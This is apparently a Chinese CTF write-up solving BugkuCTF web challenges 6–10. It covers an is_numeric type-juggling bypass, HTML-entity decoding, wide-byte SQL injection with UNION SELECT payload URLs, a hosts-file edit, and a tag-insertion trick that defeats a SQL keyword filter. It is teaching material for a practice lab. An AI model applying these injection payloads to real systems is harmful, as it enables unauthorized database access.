文档章节

BugkuCTF WEB解题记录 6-10

o
 osc_1ee7cxmx
发布于 2018/08/06 20:40
字数 1085
阅读 0
收藏 0

精选30+云产品,助力企业轻松上云!>>>

写了一部分的web题,算是把它最基础的一部分做了一遍,以后的几天将持续更新BugkuCTF WEB部分的题解,为了不影响阅读,所以每五道题的题解以一篇文章的形式发表,感谢大家一直以来的支持和理解,共勉~~~

 

矛盾

打开链接http://120.24.86.145:8002/get/index1.php  查看显示的源码 

$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}

这题同样是一道代码审计的题目

要求以GET方式传输一个num的值

这其中涉及了一个函数is_numeric,这个函数是检测变量是否为数字或数字字符串,是数字和数字字符串则返回 TRUE,否则返回 FALSE

代码显示的意思是要传入的num参数既不是数字字符串,又要等于1,这时候我们自然的联想到了科学记数法。

所以我们给num传递一个值 http://120.24.86.145:8002/get/index1.php?num=1e

flag就直接出来了

 

web3

打开链接http://120.24.86.145:8002/web3/

里边是一个 空白网页并且不断循环弹出flag就在这里,来找找吧

我们查看网页的源码发现  源码最后一排的注释标签有一串特殊的字符

KEY{J2sa42ahJK-HS11III}

我们百度查看下,这个是HTML的特殊字符  下面是一个对照表http://www.mamicode.com/info-detail-1680849.html

一个一个对比即可解出flag

第二个方法就是使用站长工具的Unicode编码转换

直接便可爆出flag

 

 

 

sql注入

题目链接http://103.238.227.13:10083/

这个题就是要我们进行sql注入  

因为我们不知道注入类型,首先我们右键----》查看一下源代码  

发现源代码里有一个gb2312,于是我们联想到宽字节注入

PS:[转载]sql宽字节注入详解这里有一篇宽字节注入的详细介绍,可以参考一下

题目要求是查询key表,id=1的string字段

这样的话我们构造payload:

第一个    http://103.238.227.13:10083/?id=1%df'    我们构造一个宽字节输入使‘逸出,使之出现一个错误

下面我们就可以进行注入了

继续构造第二个apyload

第二个     http://103.238.227.13:10083/?id=1%df' union select 1,2 %23      //查询到的表

第三个        http://103.238.227.13:10083/?id=1%df' union select 1,database() %23    //查询数据库的表

 

最后我们构造一个payload:查询数据库内数据

查询库内数据     http://103.238.227.13:10083/?id=1%df' union select 1,string from sql5.key %23

直接查询到flag

 

 

 

域名解析

这个题目的意思是将flag.bugku.com解析到120.24.86.145     

原理就是更改电脑host文件达到目的

windows的hosts路径    C:\Windows\System32\drivers\etc
lixux的hosts路径   /etc/hosts

直接打开hosts文件在最后边加入120.24.86.145      flag.bugku.com  (不用管前面什么内容)

PS:更改系统文件注意备份

这时候我们再在浏览器中打开flag.bugku.com   falg就直接爆出来了

 

SQL注入1

题目链接:http://103.238.227.13:10087/  

打开之后我们可以看到有这样一串代码

复制代码
//过滤sql
$array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit');
foreach ($array as $value)
{
    if (substr_count($id, $value) > 0)
    {
        exit('包含敏感关键字!'.$value);
    }
}

//xss过滤
$id = strip_tags($id);

$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";
复制代码

上边有//过滤sql

对sql的注入语句进行了严格的过滤,从这里看我们貌似没有什么注入的思路

下面的//xss过滤

 里边有一个 strip_tags($id)函数  我们百度一下可以了解到

strip_tags ()函数的作用      用来从字符串中去除 HTML 和 PHP 标记。

这样我们就想到可以试试在sql注入的语句中加入html或者php代码来绕过过滤

查看一下源代码,可以使用普通的注入

我们构造一个payload:

注入语句     http://103.238.227.13:10087/?id=1 un<p>ion sel<p>ect 1,hash fr<p>om sql3.key %23

PS:上一篇sql手工注入文章写了中间的详细步骤 ,不太了解的查阅下BugkuCTF sql注入

直接就爆出了答案,这个应该就是我们要的flag

o
粉丝 0
博文 500
码字总数 0
作品 0
私信 提问
加载中
请先登录后再评论。

暂无文章

如何在控制器中使用过滤器? - How to use a filter in a controller?

问题: I have written a filter function which will return data based on the argument you are passing. 我编写了一个过滤函数,它将根据您传递的参数返回数据。 I want the same functi......

富含淀粉
52分钟前
26
0
android:layout_weight是什么意思? - What does android:layout_weight mean?

问题: I don't understand how to use this attribute. 我不明白如何使用这个属性。 Can anyone tell me more about it? 谁能告诉我更多关于它的事情? 解决方案: 参考一: https://stacko...

javail
今天
17
0
CSS背景不透明度[重复] - CSS Background Opacity [duplicate]

问题: This question already has an answer here: 这个问题已经在这里有了答案: How do I give text or an image a transparent background using CSS? 如何使用CSS为文本或图像提供透明背...

fyin1314
今天
27
0
node http 获取gb2312网页如何转为utf8

最初,我想当然认为是下述做法,但被证明是错误的 const http = require('http'), iconv = require('iconv-lite');const url = 'http://xxx';http.get(url, function(res) { var bo......

高延
今天
24
0
动态规划:LC198.打家劫舍

题目描述: 你是一个专业的小偷,计划偷窃沿街的房屋。每间房内都藏有一定的现金,影响你偷窃的唯一制约因素就是相邻的房屋装有相互连通的防盗系统,如果两间相邻的房屋在同一晚上被小偷闯入...

曦鱼violet
今天
30
0

没有更多内容

加载失败,请刷新页面

加载更多

返回顶部
顶部